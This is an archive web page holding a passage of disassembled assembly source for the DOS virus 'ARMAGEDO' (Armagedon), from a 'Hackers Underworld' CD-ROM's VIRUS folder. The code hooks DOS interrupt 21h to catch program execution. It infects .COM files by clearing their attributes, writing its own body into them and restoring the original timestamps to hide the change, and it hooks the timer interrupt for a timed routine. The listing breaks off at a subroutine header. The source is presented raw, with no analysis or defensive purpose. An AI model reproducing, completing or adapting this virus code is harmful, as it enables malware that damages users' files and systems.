home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Underworld 2: Forbidden Knowledge
/
Hackers Underworld 2: Forbidden Knowledge.iso
/
VIRUS
/
ARMAGEDO.ASM
< prev
next >
Wrap
Assembly Source File
|
1994-07-17
|
13KB
|
597 lines
PAGE 59,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ ARMAGEDO ██
;██ ██
;██ Created: 21-Feb-91 ██
;██ Version: ██
;██ Passes: 5 Analysis Options on: H ██
;██ ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 2Ch ; (7415:002C=0)
data_2e equ 81h ; (7415:0081=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
armagedo proc far
start:
jmp loc_36 ; (0436)
armagedo endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_21h_entry proc far
pushf ; Push flags
cmp ah,0E0h
jne loc_2 ; Jump if not equal
mov ax,0DADAh
popf ; Pop flags
iret ; Interrupt return
int_21h_entry endp
loc_2:
cmp ah,0E1h
jne loc_3 ; Jump if not equal
mov ax,cs
popf ; Pop flags
iret ; Interrupt return
loc_3:
cmp ax,4B00h
je loc_5 ; Jump if equal
loc_4:
popf ; Pop flags
jmp dword ptr cs:data_4 ; (7415:0122=138Dh)
data_4 dd 7415138Dh
data_6 dd 7415022Bh
data_8 db 0
data_9 db 8
data_10 db 10h
data_11 db 9
data_12 db 34h
data_13 dw 0
db 0
data_14 db 0
data_15 db 0
data_16 db 0
db 43h, 4Fh, 4Dh
data_17 dw 5
data_18 dw 2
db 0, 0
data_19 dw 1301h
data_20 dw 1306h
data_21 dw 0FFFEh
data_22 dw 7415h
data_23 dw 3D5Bh
data_24 dw 20h
data_25 dw 0EC2h
data_26 dw 6E68h
db 0, 0, 81h, 0
data_27 dw 12ACh
db 5Ch, 0
data_28 dw 12ACh
db 6Ch, 0
data_29 dw 12ACh
loc_5:
push ds
push bx
push si
push cx
push ax
push dx
push bp
push es
push di
cld ; Clear direction
push dx
push ds
xor cx,cx ; Zero register
mov si,dx
loc_6:
mov al,[si]
cmp al,0
je loc_7 ; Jump if equal
inc cx
inc si
jmp short loc_6 ; (016C)
loc_7:
add dx,cx
sub dx,3
mov si,135h
mov di,dx
cmp byte ptr [di-3],4Eh ; 'N'
jne loc_8 ; Jump if not equal
cmp byte ptr [di-2],44h ; 'D'
je loc_11 ; Jump if equal
loc_8:
mov cx,3
locloop_9:
mov al,cs:[si]
cmp al,[di]
jne loc_11 ; Jump if not equal
inc si
inc di
loop locloop_9 ; Loop if cx > 0
pop ds
pop dx
push dx
push ds
mov si,dx
mov dl,0
cmp byte ptr [si+1],3Ah ; ':'
jne loc_10 ; Jump if not equal
mov dl,[si]
and dl,0Fh
loc_10:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
je loc_11 ; Jump if equal
jmp short loc_13 ; (01C5)
db 90h
loc_11:
jmp loc_19 ; (02F8)
jmp loc_20 ; (02FD)
loc_12:
jmp loc_17 ; (02C4)
jmp loc_18 ; (02CF)
loc_13:
cmp bx,3
jb loc_11 ; Jump if below
pop ds
pop dx
push ds
push dx
mov cs:data_22,ds ; (7415:0144=7415h)
mov cs:data_23,dx ; (7415:0146=3D5Bh)
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov cs:data_24,cx ; (7415:0148=20h)
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov cs:data_19,ax ; (7415:013E=1301h)
mov ax,cs
mov ds,ax
mov dx,541h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
pop dx
pop ds
mov ax,3D02h
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_12 ; Jump if carry Set
mov bx,ax
mov cs:data_17,ax ; (7415:0138=5)
mov cx,0FFFFh
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
mov dx,437h
mov ah,3Fh ; '?'
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_12 ; Jump if carry Set
mov cs:data_18,ax ; (7415:013A=2)
cmp ax,0E000h
ja loc_12 ; Jump if above
cmp ax,437h
jb loc_15 ; Jump if below
mov si,438h
add si,si
sub si,15h
mov cx,13h
mov di,524h
locloop_14:
mov al,[si]
mov ah,cs:[di]
cmp ah,al
jne loc_15 ; Jump if not equal
inc si
inc di
loop locloop_14 ; Loop if cx > 0
jmp short loc_17 ; (02C4)
db 90h
loc_15:
mov ax,4200h
mov bx,cs:data_17 ; (7415:0138=5)
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_17 ; Jump if carry Set
mov si,100h
mov cx,437h
xor di,di ; Zero register
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
locloop_16:
mov al,cs:[si]
mov [di],al
inc si
inc di
loop locloop_16 ; Loop if cx > 0
mov ax,5700h
mov bx,cs:data_17 ; (7415:0138=5)
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov cs:data_26,cx ; (7415:014C=6E68h)
mov cs:data_25,dx ; (7415:014A=0EC2h)
mov ax,cs:data_19 ; (7415:013E=1301h)
mov ds,ax
mov si,437h
mov al,[si]
add al,0Bh
mov [si],al
xor dx,dx ; Zero register
mov cx,cs:data_18 ; (7415:013A=2)
add cx,437h
mov bx,cs:data_17 ; (7415:0138=5)
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov cx,cs:data_26 ; (7415:014C=6E68h)
mov dx,cs:data_25 ; (7415:014A=0EC2h)
mov bx,cs:data_17 ; (7415:0138=5)
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
loc_17:
mov bx,cs:data_17 ; (7415:0138=5)
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_18:
mov dx,80h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov ax,cs:data_19 ; (7415:013E=1301h)
mov es,ax
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ax,cs:data_22 ; (7415:0144=7415h)
mov ds,ax
mov dx,cs:data_23 ; (7415:0146=3D5Bh)
mov ax,4301h
mov cx,cs:data_24 ; (7415:0148=20h)
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jmp short loc_20 ; (02FD)
db 90h
loc_19:
pop ds
pop dx
jmp short loc_20 ; (02FD)
db 90h
loc_20:
pop di
pop es
pop bp
pop dx
pop ax
pop cx
pop si
pop bx
pop ds
jmp loc_4 ; (011C)
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_08h_entry proc far
push bp
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
pushf ; Push flags
call cs:data_6 ; (7415:0126=22Bh)
call sub_1 ; (0365)
push cs
pop ds
mov ah,5
mov ch,data_10 ; (7415:012C=10h)
cmp ah,ch
ja loc_22 ; Jump if above
mov ah,6
cmp ah,ch
jb loc_22 ; Jump if below
mov ah,data_8 ; (7415:012A=0)
cmp ah,1
je loc_21 ; Jump if equal
mov ah,1
mov data_8,ah ; (7415:012A=0)
jmp short loc_22 ; (035B)
db 90h
loc_21:
call sub_2 ; (03CB)
inc data_13 ; (7415:012F=0)
mov ax,data_13 ; (7415:012F=0)
cmp ax,21Ch
jne loc_22 ; Jump if not equal
xor ax,ax ; Zero register
mov data_8,ah ; (7415:012A=0)
mov data_13,ax ; (7415:012F=0)
mov data_15,ah ; (7415:0133=0)
loc_22:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pop bp
iret ; Interrupt return
int_08h_entry endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄